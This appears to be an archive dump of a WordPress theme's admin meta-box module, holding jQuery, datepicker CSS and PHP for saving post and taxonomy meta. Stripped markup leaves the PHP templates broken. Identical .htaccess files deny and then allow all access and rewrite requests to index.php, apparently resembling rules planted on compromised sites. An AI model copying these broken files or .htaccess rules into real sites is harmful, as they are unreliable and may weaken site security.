'mm/dd/yy' }); }; /* exceptIncludeTemplate */ Module.exceptIncludeTemplate = function () { var tempTarget = '.editor-page-attributes__template select, #page_template'; this.$Document.on('change RB:metaTempSelect', tempTarget, function () { var tempVal = $(this).val(); var metaWrap = $('.rb-meta-wrapper'); if (metaWrap.length > 0) { metaWrap.each(function () { var target = $(this); var except = target.data('except_template'); var include = target.data('include_template'); var metaBox = $('#' + target.data('section_id')); if (except) { if (tempVal == except) { metaBox.addClass('is-hidden'); } else { metaBox.removeClass('is-hidden'); } } if (include) { metaBox.addClass('is-hidden'); if (tempVal == include) { metaBox.removeClass('is-hidden'); } } }); } }); $(tempTarget).trigger('RB:metaTempSelect'); }; /** * repeat group */ Module.repeatGroup = function () { let self = this; let tempTarget = '.rb-group-trigger'; let deleteGroupTarget = '.rb-group-delete'; let sortableTarget = '.rb-group-content'; self.$Document.on('click', tempTarget, function (e) { e.preventDefault(); e.stopPropagation(); let target = $(this); let wrapper = target.parents('.rb-group'); let defaultItem = wrapper.find('.default-group-item'); let html = defaultItem.clone(); let index = defaultItem.data('index'); html.removeClass('is-hidden default-group-item'); html.find('input').each(function () { let item = $(this); let name = 'rb_meta[' + item.data('group-id') + '][' + index + '][' + item.data('id') + ']'; item.attr('value', item.data('value')); item.attr('name', name); }); defaultItem.data('index', index + 1); wrapper.find('.rb-group-content').append(html) }); self.$Document.on('click', deleteGroupTarget, function (e) { e.preventDefault(); e.stopPropagation(); $(this).parents('.group-item').remove(); }); self.body.find(sortableTarget).sortable({ axis: 'y' }); } /** remove JS hide */ Module.removeHideJs = function () { var metaWrap = $('.rb-meta-wrapper'); if (metaWrap.length > 0) { metaWrap.each(function () { var target = $(this); var metaBox = $('#' + target.data('section_id')); metaBox.removeClass('hide-if-js'); }) } }; return Module; }(RB_META_BOXES || {}, jQuery)); /** init RUBY META BOXES */ jQuery(document).ready(function () { RB_META_BOXES.init(); });rb-meta/assets/meta.css000064400000043021147207023670011045 0ustar00/** date picker theme */ #rb_meta_foxiz_post_options, #rb_meta_foxiz_page_options { border-radius: 5px; -webkit-border-radius: 5px; overflow: hidden; box-shadow: 0 4px 20px rgba(0, 0, 0, .07); -webkit-box-shadow: 0 4px 20px rgba(0, 0, 0, .07); } .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight { color: #777620; border: 1px solid #dad55e; background: #fffa90; } .ui-state-checked { border: 1px solid #dad55e; background: #fffa90; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a, .ui-widget-header .ui-state-highlight a { color: #777620; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error { color: #5f3f3f; border: 1px solid #f1a899; background: #fddfdf; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #5f3f3f; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #5f3f3f; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active, a.ui-button:active, .ui-button:active, .ui-button.ui-state-active:hover { font-weight: normal; color: #ffffff; border: 1px solid #003eff; background: #007fff; } .ui-icon-background, .ui-state-active .ui-icon-background { border: #003eff; background-color: #ffffff; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { text-decoration: none; color: #ffffff; } .ui-widget.ui-widget-content { border: 1px solid #c5c5c5; } .ui-widget-content { color: #333333; border: 1px solid #dddddd; background: #ffffff; } .ui-widget-content a { color: #333333; } .ui-widget-header { font-weight: bold; color: #333333; border: 1px solid #dddddd; background: #e9e9e9; } .ui-widget-header a { color: #333333; } .ui-datepicker { display: none; width: 17em; padding: .2em .2em 0; } .ui-datepicker .ui-datepicker-header { position: relative; padding: .2em 0; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position: absolute; z-index: 10; top: 2px; width: 1.8em; height: 1.8em; cursor: pointer; } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: none; } .ui-datepicker .ui-datepicker-prev { right: auto; left: 0; } .ui-datepicker .ui-datepicker-next { right: 0; left: auto; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { color: #ffffff; background-color: #333333; } .ui-datepicker .ui-datepicker-next-hover { right: 1px; } .ui-datepicker .ui-datepicker-prev:after, .ui-datepicker .ui-datepicker-next:after { position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 1.8em; height: 1.8em; text-align: center; pointer-events: none; } .ui-state-hover, .ui-widget-content .ui-state-hover { color: #ffffff; background-color: #333333; } .ui-datepicker .ui-datepicker-prev:after { content: '<'; } .ui-datepicker .ui-datepicker-next:after { content: '>'; } .ui-datepicker .ui-datepicker-title { line-height: 1.8em; margin: 0 2.3em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size: 1em; margin: 1px 0; } .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 45%; } .ui-datepicker table { font-size: .9em; width: 100%; margin: 0 0 .4em; border-collapse: collapse; } .ui-datepicker th { font-weight: bold; padding: .7em .3em; text-align: center; border: 0; } .ui-datepicker td { padding: 1px; border: 0; } .ui-datepicker td span, .ui-datepicker td a { font-size: 15px; display: block; padding: .2em; text-align: center; text-decoration: none; background-color: #fafafa; } .ui-datepicker .ui-datepicker-buttonpane { margin: .7em 0 0 0; padding: 0 .2em; border-right: 0; border-bottom: 0; border-left: 0; background-image: none; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; overflow: visible; width: auto; margin: .5em .2em .4em; padding: .2em .6em .3em .6em; cursor: pointer; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float: left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width: auto; } .ui-datepicker-multi .ui-datepicker-group { float: left; } .ui-datepicker-multi .ui-datepicker-group table { width: 95%; margin: 0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width: 50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width: 33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width: 25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header, .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width: 0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear: left; } .ui-datepicker-row-break { font-size: 0; clear: both; width: 100%; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { right: auto; left: 2px; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { right: auto; left: 1px; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear: right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current, .ui-datepicker-rtl .ui-datepicker-group { float: right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header, .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width: 0; border-left-width: 1px; } /* Icons */ .ui-datepicker .ui-icon { top: .3em; left: .5em; display: block; overflow: hidden; text-indent: -99999px; background-repeat: no-repeat; } /** main style */ .rb-meta-wrapper, .rb-meta-wrapper *, .rb-meta-wrapper *:before, .rb-meta-wrapper *:after { -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } [id$="rb_meta_"], [id$="rb_meta_"] h2, .rb-meta-wrapper, .rb-meta-panel-header h3 { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif !important; } .rb-meta-panel-header p { font-size: 12px; margin-top: 7px; margin-bottom: 0; color: #aaaaaa; } [id^="rb_meta_"] * { font-family: inherit; } [id^="rb_meta_"] > .inside { margin: 0 !important; padding: 0 !important; } [id^="rb_meta_"] > .postbox-header { border-bottom: none !important; } [id^="rb_meta_"] > .postbox-header > h2 { font-size: 0 !important; } [id^="rb_meta_"] > .postbox-header, .rb-meta-panel-header { background-color: #2d333b; } .rb-meta-wrapper { position: relative; display: block; overflow: hidden; margin: 0; border: 1px solid #f7f7f7; border-top: none !important; border-left: none !important; background-color: #ffffff; } .rb-meta-tab-header { position: relative; z-index: 100; display: block; float: left; width: 220px; min-height: 50vh; margin-top: 0; margin-bottom: 0; padding-bottom: 15px; background-color: #333f4d; } .rb-meta-tab-header:before { position: absolute; z-index: -1; right: 0; left: 0; display: block; height: 9999px; content: ''; pointer-events: none; background-color: #333f4d; } .rb-tab-title { display: block; width: 100%; padding: 0 20px; -webkit-transition: opacity .25s ease; transition: opacity .25s ease; text-decoration: none !important; opacity: .8; color: #ffffff !important; border-bottom: 1px solid rgba(255, 255, 255, .1); outline: none !important; box-shadow: none !important; } .rb-tab-title:last-child { border-bottom: none; } .rb-tab-title.is-active { opacity: 1 !important; background-color: #497abe !important; } .rb-tab-title:hover { opacity: 1; background-color: rgba(0, 0, 0, .1); } .rb-tab-title h3 { font-family: inherit !important; font-size: 13px; line-height: 34px; display: flex; align-items: center; flex-flow: row nowrap; margin: 0; color: inherit !important; } .rb-tab-title h3:before { font-size: 1em; display: flex; align-items: center; width: auto; margin-right: 7px; } .rb-meta-tab { display: none; float: none; overflow: hidden; min-height: 400px; margin-left: 220px; background-color: #ffffff; } .rb-meta-tab.is-active { display: block; } .rb-meta { display: flex; display: -webkit-flex; overflow: hidden; align-items: flex-start; flex-flow: row nowrap; width: 100%; padding: 25px 20px; } .rb-meta:nth-child(2n+1) { background-color: #f7f7f7; } .rb-meta-wrapper .tab-description { font-size: 12px; font-weight: bold; display: block; margin: 0; padding: 10px 20px; background-color: #fcf6e1; } .rb-meta-title { flex-grow: 0; flex-shrink: 0; width: 260px; padding-right: 30px; } .rb-meta-title label { font-size: 12px; font-weight: 700; line-height: 32px; } .rb-meta-desc { font-size: 11px; display: block; overflow: hidden; width: 100%; max-width: 460px; margin-top: 0; margin-bottom: 0; color: #555555; } .rb-meta-wrapper input[type="text"] { font-size: 14px; line-height: 32px; display: block; min-width: 200px; max-width: 600px; width: 90%; padding: 0 15px; } .rb-meta-wrapper textarea { font-size: 14px !important; display: block; min-width: 200px; padding: 10px 15px; width: 100%; max-width: 600px; } .rb-meta-content { position: relative; display: block; max-width: 100%; } /* image */ .meta-preview { display: block; } .meta-preview .thumbnail { display: inline-block; margin: 0 10px 10px 0; pointer-events: none; } .meta-preview img { display: block; width: 70px; height: auto; } .rb-meta-button { position: relative; display: inline-block; } .rb-checkbox { line-height: 0; position: relative; display: inline-block; margin: 0 5px; } .rb-checkbox img { z-index: -1; width: 50px; height: auto; pointer-events: none; border: 3px solid #eeeeee; } .rb-image-select .rb-checkbox { margin: 5px; } .rb-image-select.big img { width: 70px; } .rb-checkbox.is-active img { border-color: #0074a2; } .rb-checkbox input[type="radio"] { z-index: 999; } .rb-meta-image { position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 100% !important; height: 100% !important; margin: 0 !important; text-indent: -9999px; opacity: 0 !important; border-radius: 0; } .rb-meta-select { min-width: 220px; } .input-small input[type="text"], .input-small textarea { min-width: auto; max-width: 150px; } .thumbnail.file img { display: inline-block; max-width: 50px; height: auto; margin-right: 10px; } .thumbnail .file-name { font-weight: 700; line-height: 30px; display: inline-block; margin-left: 7px; vertical-align: top; } div#rb-tab-rb-meta-none-tab { margin-left: 0; } .rb-meta-none-tab .rb-meta-tab-header { display: none; } .rb-meta-none-tab .rb-meta-tab, .rb-meta-none-tab.rb-meta-wrapper { min-height: auto; } [id*="rb_meta_"] > h2 { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif !important; font-size: 16px !important; color: #ffffff !important; border-top: none; border-bottom: none; border-left: 10px solid #9a9dcc; background-color: #3b414c; } [id*="rb_meta_"] p { font-family: inherit !important; } .rb-meta-wrapper.context-side { margin: 0 !important; padding-top: 0; border: none !important; background: none; } .rb-meta-wrapper.context-side .rb-meta-title { display: block; float: none; width: 100%; } .rb-meta-wrapper.context-side .rb-meta-tab { border: none !important; } .rb-meta-wrapper.context-side .rb-meta { padding: 15px 0; border: none; border-bottom: 1px dotted #dddddd; background: none; } .rb-meta-wrapper.context-side .rb-meta:first-child { padding-top: 0; } .rb-meta-wrapper.context-side .rb-meta:last-child { border-bottom: none; } .rb-meta-wrapper.context-side .rb-meta-content { display: block; margin-top: 10px; margin-left: 0; } .rb-meta-wrapper.context-side p.rb-meta-desc { margin-top: 0; } .select-title { font-size: 10px; line-height: 1; display: block; padding-top: 5px; text-align: center; } .rb-meta-panel-header { margin: 0; padding: 0 20px 20px 20px; } .rb-meta-panel-header h3 { font-family: inherit; margin: 0; color: #ffffff; } .rb-meta-tab, .rb-meta-wrapper { min-height: 20vh; } .rb-group-trigger { font-weight: 700; display: inline-block; padding: 7px 10px; text-decoration: none; color: #ffffff !important; border: none; border-radius: 3px; outline: none; background-color: #78d098; } .group-item { position: relative; display: flex; align-items: flex-start; flex-flow: row wrap; width: 100%; margin-bottom: 15px; padding: 10px 10px 10px 25px; cursor: move; border-radius: 5px; background: #ffffff; box-shadow: 0 3px 10px rgba(0, 0, 0, .15); } .rb-group-delete { font-size: .83em; z-index: 10; display: inline-flex; margin-left: auto; margin-right: 0; width: auto !important; padding: 10px 20px; color: #ff7e7e; } body.rtl .rb-group-delete { margin-left: 0; margin-right: auto; } .group-item-title { font-size: .9em; display: block; margin-bottom: 5px; } .group-item > *:not(.rb-group-delete) { width: 100%; padding-right: 10px; padding-left: 10px; margin-bottom: 10px; } .small-item .group-item > *:not(.rb-group-delete) { width: 50%; } .group-item input[type="text"] { width: 100%; min-width: 200px; } .rb-group-trigger:hover { background-color: #599b71; } .group-holder { counter-reset: repeat-index; width: 100%; max-width: 800px; } .group-item:before { position: absolute; top: 10px; left: 10px; font-size: 12px; line-height: 1; display: block; padding: 5px; content: counter(repeat-index); counter-increment: repeat-index; color: #ffffff; border-radius: 5px; background-color: #333f4d; } @media (max-width: 1400px) { .rb-meta-wrapper .rb-meta-title { max-width: 200px; width: 200px; } .rb-meta-content { float: none; clear: both; margin-left: 0; } .rb-meta-wrapper, .rb-meta-panel-header { margin-right: 0; margin-left: 0; } .rb-meta-tab-header { width: 190px; } .rb-meta-tab { margin-left: 190px; } } .mce-shortcode-label { pointer-events: none; background-color: #437dcc !important; } .mce-shortcode-label .mce-text { text-transform: uppercase; color: #ffffff !important; } .rb-date-content > input { float: left; min-width: 0 !important; max-width: 150px; } .is-hidden { display: none; } /* rtl */ body.rtl .rb-meta-wrapper { border-right: none; } body.rtl .rb-meta-tab-header { float: right; } body.rtl .rb-meta-tab { margin-right: 220px; margin-left: 0; border-right: 1px solid #f7f7f7; border-left: none; } body.rtl .rb-meta-title { float: right; padding-right: 0; padding-left: 30px; } body.rtl .thumbnail.file img { margin-right: 0; margin-left: 10px; } body.rtl .thumbnail .file-name { margin-right: 7px; margin-left: 0; } body.rtl div#rb-tab-rb-meta-none-tab { margin-right: 0; } body.rtl [id*="rb_meta_"] > h2 { border-right: 10px solid #9a9dcc; border-left: none; } body.rtl .rb-meta-wrapper.context-side .rb-meta-content { margin-right: 0; } body.rtl .rb-tab-title h3:before { margin-right: 0; margin-left: 7px; } body.rtl .group-item:before { margin-right: 0; margin-left: 7px; } @media (max-width: 1400px) { body.rtl .rb-meta-content { margin-right: 0; } body.rtl .rb-meta-tab { margin-right: 190px; } } body.rtl .rb-date-content > input { float: right; } rb-meta/assets/.htaccess000064400000001626147207023670011210 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] rb-meta/rb-meta.php000064400000076073147207023670010160 0ustar00ID, '_wp_page_template', true ); if ( ! empty( $section['except_template'] ) && $section['except_template'] === $current_template ) { continue; } if ( ! empty( $section['include_template'] ) && $section['include_template'] !== $current_template ) { continue; } } $section = wp_parse_args( $section, array( 'id' => '', 'title' => 'Ruby Meta Box', 'context' => 'normal', 'post_types' => array( 'post' ), 'priority' => 'high', ) ); add_meta_box( 'rb_meta_' . $section['id'], $section['title'], array( $this, 'settings_form' ), $section['post_types'], $section['context'], $section['priority'], $section ); } } } public function register_scripts( $hook ) { if ( $hook === 'post.php' || $hook === 'post-new.php' ) { wp_enqueue_media(); wp_enqueue_script( 'jquery-ui-datepicker' ); wp_register_script( 'rb-meta-script', plugin_dir_url( __FILE__ ) . '/assets/meta.js', array( 'jquery', 'jquery-ui-datepicker' ), self::RB_META_VERSION, true ); wp_register_style( 'rb-meta-style', plugin_dir_url( __FILE__ ) . '/assets/meta.css', array(), self::RB_META_VERSION, 'all' ); wp_localize_script( 'rb-meta-script', 'rbMetaParams', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) ); wp_enqueue_style( 'rb-meta-style' ); wp_enqueue_script( 'rb-meta-script' ); } } /** * @param $post_id * save metaboxes */ function save( $post_id ) { $is_autosave = wp_is_post_autosave( $post_id ); $is_revision = wp_is_post_revision( $post_id ); if ( ! empty( $_POST['rb_meta_nonce'] ) && wp_verify_nonce( $_POST['rb_meta_nonce'], basename( __FILE__ ) ) ) { $is_valid_nonce = true; } else { $is_valid_nonce = false; } if ( $is_autosave || $is_revision || ! $is_valid_nonce ) { return false; } if ( isset( $_POST['rb_meta'] ) ) { $stored_meta = get_post_meta( $post_id, RB_META_ID, true ); if ( ! is_array( $stored_meta ) ) { $stored_meta = array(); } $rb_meta_data = $_POST['rb_meta']; if ( is_array( $rb_meta_data ) ) { foreach ( $rb_meta_data as $meta_id => $meta_val ) { $meta_id = sanitize_text_field( $meta_id ); /** sanitize_text_field */ if ( ! current_user_can( 'unfiltered_html' ) ) { if ( is_array( $meta_val ) ) { foreach ( $meta_val as $key => $val ) { if ( is_array( $val ) ) { $meta_val[ $key ] = array_map( 'sanitize_text_field', $val ); } else { $meta_val[ $key ] = sanitize_text_field( $val ); } } } else { $meta_val = sanitize_text_field( $meta_val ); } } if ( ! empty( $meta_val['type'] ) ) { if ( $meta_val['type'] === 'datetime' ) { if ( ! empty( $meta_val['date'] ) ) { if ( empty( $meta_val['time'] ) || ! preg_match( "/^(?:2[0-3]|[01][0-9]):[0-5][0-9]$/", $meta_val['time'] ) ) { $meta_val['time'] = ''; } $stored_meta[ $meta_id ] = strtotime( $meta_val['date'] . ' ' . $meta_val['time'] ); if ( ! empty( $meta_val['key'] ) ) { update_post_meta( $post_id, $meta_val['key'], $stored_meta[ $meta_id ] ); } } else { $stored_meta[ $meta_id ] = ''; if ( isset( $meta_val['kvd'] ) ) { update_post_meta( $post_id, $meta_val['key'], $meta_val['kvd'] ); } else { update_post_meta( $post_id, $meta_val['key'], '' ); } } } } else { $stored_meta[ $meta_id ] = $meta_val; } } }; update_post_meta( $post_id, RB_META_ID, $stored_meta ); } } /** * @param $post * @param $callback_args * settings form */ function settings_form( $post, $callback_args ) { $stored_meta = get_post_meta( $post->ID, RB_META_ID, true ); if ( empty( $callback_args['args'] ) ) { return; } $section = $callback_args['args']; $wrapper_classname = array(); $wrapper_classname[] = 'rb-meta-wrapper'; $heading = ''; $description = ''; if ( ! empty( $callback_args['args']['heading'] ) ) { $heading = $callback_args['args']['heading']; } elseif ( ! empty( $callback_args['args']['title'] ) ) { $heading = $callback_args['args']['title']; } if ( ! empty( $callback_args['args']['desc'] ) ) { $description = $callback_args['args']['desc']; } if ( empty( $section['tabs'] ) || ! is_array( $section['tabs'] ) ) { if ( ! isset( $section['fields'] ) ) { $section['fields'] = array(); } $section['tabs'] = array( array( 'id' => 'rb-meta-none-tab', 'title' => '', 'fields' => $section['fields'] ) ); $wrapper_classname[] = 'rb-meta-none-tab'; } if ( ! empty( $section['context'] ) ) { $wrapper_classname[] = 'context-' . esc_attr( $section['context'] ); } $wrapper_classname = implode( ' ', $wrapper_classname ); $rb_last_tab = ''; $data_attrs = 'data-section_id = rb_meta_' . $section['id']; if ( ! empty( $section['except_template'] ) ) { $data_attrs .= ' data-except_template=' . esc_attr( $section['except_template'] ) . ''; } if ( ! empty( $section['include_template'] ) ) { $data_attrs .= ' data-include_template=' . esc_attr( $section['include_template'] ) . ''; } if ( ! empty( $stored_meta['last_tab'] ) && ! empty( $stored_meta['last_tab'][ $section['id'] ] ) ) { $rb_last_tab = $stored_meta['last_tab'][ $section['id'] ]; }; ?>

>
'', 'title' => '' ) ); if ( ( isset( $active ) && true === $active ) || (string) $rb_last_tab === (string) $tab['id'] ) { $class_name = 'rb-tab-title is-active'; $active = false; } else { $class_name = 'rb-tab-title'; } ?>

'', 'title' => '', 'desc' => '' ) ); if ( ( isset( $active ) && true === $active ) || (string) $rb_last_tab === (string) $tab['id'] ) { $class_name = 'rb-meta-tab is-active'; $active = false; } else { $class_name = 'rb-meta-tab'; } ?>

'', 'name' => '', 'desc' => '', 'type' => '', 'class' => '', 'default' => '' ) ); if ( ! empty( $stored_meta[ $params['id'] ] ) ) { $params['value'] = $stored_meta[ $params['id'] ]; } $func_mame = 'input_' . $params['type']; if ( method_exists( $this, $func_mame ) ) { $this->$func_mame( $params ); } endforeach; ?>
'; } } wp_send_json( $str ); die(); } } /** * @param $params */ function input_text( $params ) { $defaults = array( 'id' => '', 'name' => '', 'desc' => '', 'default' => '', 'class' => '', 'placeholder' => '' ); $params = wp_parse_args( $params, $defaults ); if ( ! isset( $params['value'] ) ) { if ( ! empty( $params['default'] ) ) { $params['value'] = $params['default']; } else { $params['value'] = ''; } } ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'options' => array(), 'class' => '' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'options' => array(), 'class' => '' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } ?>

$image ) : if ( (string) $params['value'] === (string) $val ) : ?> '#', 'title' => '' ) ); ?> '#', 'title' => '' ) ); ?>
'', 'name' => '', 'desc' => '', 'default' => '', 'class' => 'rb-images' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $defaults['default']; } ?> '', 'name' => '', 'desc' => '', 'default' => '', 'class' => '', 'placeholder' => '' ); $params = wp_parse_args( $params, $defaults ); if ( ! isset( $params['value'] ) ) { if ( ! empty( $params['default'] ) ) { $params['value'] = $params['default']; } else { $params['value'] = ''; } } ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'taxonomy' => 'category', 'class' => '', 'empty' => 'None' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } $categories_data = array(); $categories = get_categories( array( 'hide_empty' => 0, 'type' => 'post', ) ); $array_walker = new Rb_Category_Select_Walker; $array_walker->walk( $categories, 4 ); $buffer = $array_walker->cat_array; foreach ( $buffer as $name => $id ) { $categories_data[ $name ] = $id; } $params['options'] = $categories_data; ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'class' => 'rb-file' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } ?>

'; if ( ! wp_attachment_is_image( $params['value'] ) ) { $src = wp_mime_type_icon( $params['value'] ); echo ''; } else { echo ''; } echo '' . esc_attr( $file_name ) . ''; endif; ?>
'', 'name' => '', 'desc' => '', 'default' => '', 'key' => '', 'kvd' => '', 'class' => 'rb-date', 'placeholder' => 'mm/dd/yyyy' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'fields' => array(), 'button' => '', 'class' => '', 'value' => array(), ); $params = wp_parse_args( $params, $defaults ); if ( ! isset( $params['value']['placebo'] ) ) { $params['value']['placebo'] = array(); } ?>

$item ) : $class_name = 'group-item'; if ( 'placebo' === ( string ) $index ) { $class_name .= ' group-placebo is-hidden'; } ?>
'', 'id' => '', 'name' => '', 'default' => '', ) ); if ( ! isset( $item[ $field['id'] ] ) ) { $item[ $field['id'] ] = $field['default']; } if ( (string) $index === 'placebo' ) { $item[ $field['id'] ] = 0; } ?>
Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] includes.php000064400000000730147207023670007073 0ustar00set_sub_page(); } /** get sub page */ abstract public function set_sub_page(); /** get slug */ abstract public function get_slug(); /** get file name */ abstract public function get_name(); /** get params */ public function get_params() { return $this->params; } public function set_params( $params = array() ) { return $this->params = $params; } public function validate() { return RB_ADMIN_CORE::get_instance()->get_purchase_code(); } public function render() { echo rb_admin_get_template_part( $this->get_slug(), $this->get_name(), $this->get_params() ); } } }taxonomy.php000064400000042540147207023670007150 0ustar00_meta = $meta; $this->normalize(); add_action( 'admin_init', array( $this, 'add' ), 100 ); add_action( 'edit_term', array( $this, 'save' ), 10, 2 ); add_action( 'delete_term', array( $this, 'delete' ), 10, 2 ); add_action( 'load-edit-tags.php', array( $this, 'load_edit_page' ) ); } /** * Enqueue scripts and styles * * @return void */ function load_edit_page() { $screen = get_current_screen(); if ( ! ( 'term' === $screen->base || ( 'edit-tags' === $screen->base && ! empty( $_GET['action'] ) && 'edit' === $_GET['action'] ) ) || ! in_array( $screen->taxonomy, $this->_taxonomies ) ) { return; } add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) ); add_action( 'admin_footer', array( $this, 'js_templates' ), 1 ); add_action( 'admin_footer', array( $this, 'output_js' ), 100 ); } /** * Enqueue scripts and styles * * @return void */ function admin_enqueue_scripts() { wp_enqueue_script( 'jquery' ); $this->check_field_upload(); $this->check_field_date(); $this->check_field_color(); $this->check_field_time(); } /** * Output JS into footer * * @return void */ function output_js() { echo $this->js ? '' : ''; } public function js_templates() { $template = ''; $template .= ''; echo $template; } /******************** BEGIN FIELDS **********************/ // Check field upload and add needed actions function check_field_upload() { if ( ! $this->has_field( 'image' ) && $this->has_field( 'file' ) ) { return; } // Add enctype $this->js .= ' $("#edittag").attr("enctype", "multipart/form-data"); '; // Delete file $this->js .= ' $("body").on("click", ".rwtm-delete-file", function(){ $(this).parent().remove(); return false; }); '; if ( $this->has_field( 'file' ) ) { $this->js .= " \$('body').on('click', '.rwtm-file-upload', function(){ let id = \$(this).data('field'); let template = wp.template('taxonomy-select-images'); var \$uploaded = \$(this).siblings('.rwtm-uploaded'); var frame = wp.media({ multiple : true, title : \"" . __( 'Select File', 'rwtm' ) . "\" }); frame.on('select', function() { var selection = frame.state().get('selection').toJSON(); var data = { attachments: selection, id: id }; \$uploaded.append(template(data)); }); frame.open(); return false; }); "; } if ( ! $this->has_field( 'image' ) ) { return; } wp_enqueue_media(); $this->js .= " \$('body').on('click', '.rwtm-image-upload', function(){ var id = \$(this).data('field'); let template = wp.template('taxonomy-select-images'); var \$uploaded = \$(this).siblings('.rwtm-uploaded'); var frame = wp.media({ multiple : true, title : \"" . __( 'Select Image', 'rwtm' ) . "\", library : { type: 'image' } }); frame.on('select', function() { var selection = frame.state().get('selection').toJSON(); var data = { attachments: selection, id: id }; \$uploaded.append(template(data)); }); frame.open(); return false; }); "; } // Check field color function check_field_color() { if ( ! $this->has_field( 'color' ) ) { return; } wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'wp-color-picker' ); $this->js .= '$(".color").wpColorPicker();'; } // Check field date function check_field_date() { if ( ! $this->has_field( 'date' ) ) { return; } wp_enqueue_style( 'jquery-ui', '//ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/themes/smoothness/jquery-ui.min.css' ); wp_enqueue_script( 'jquery-ui-datepicker' ); // JS $dates = array(); foreach ( $this->_fields as $field ) { if ( 'date' == $field['type'] ) { $dates[ $field['id'] ] = $field['format']; } } foreach ( $dates as $id => $format ) { $this->js .= "$('#$id').datepicker({ dateFormat: '$format', showButtonPanel: true });"; } } // Check field time function check_field_time() { if ( ! $this->has_field( 'time' ) ) { return; } wp_enqueue_style( 'jquery-ui', '//ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/themes/smoothness/jquery-ui.min.css' ); wp_enqueue_style( 'jquery-ui-timepicker', '//cdn.jsdelivr.net/jquery.ui.timepicker.addon/1.3/jquery-ui-timepicker-addon.css' ); wp_enqueue_script( 'jquery-ui-timepicker', '//cdn.jsdelivr.net/jquery.ui.timepicker.addon/1.3/jquery-ui-timepicker-addon.min.js', array( 'jquery-ui-datepicker', 'jquery-ui-slider' ) ); // JS $times = array(); foreach ( $this->_fields as $field ) { if ( 'time' == $field['type'] ) { $times[ $field['id'] ] = $field['format']; } } foreach ( $times as $id => $format ) { $this->js .= "$('#$id').timepicker({showSecond: true, timeFormat: '$format'})"; } } /******************** BEGIN META BOX PAGE **********************/ // Add meta fields for taxonomies function add() { foreach ( get_taxonomies() as $tax_name ) { if ( in_array( $tax_name, $this->_taxonomies ) ) { add_action( $tax_name . '_edit_form', array( $this, 'show' ), 9, 2 ); } } } // Show meta fields function show( $tag, $taxonomy ) { // get meta fields from option table $metas = get_option( $this->_meta['id'] ); if ( empty( $metas ) ) { $metas = array(); } if ( ! is_array( $metas ) ) { $metas = (array) $metas; } // get meta fields for current term $metas = isset( $metas[ $tag->term_id ] ) ? $metas[ $tag->term_id ] : array(); wp_nonce_field( basename( __FILE__ ), 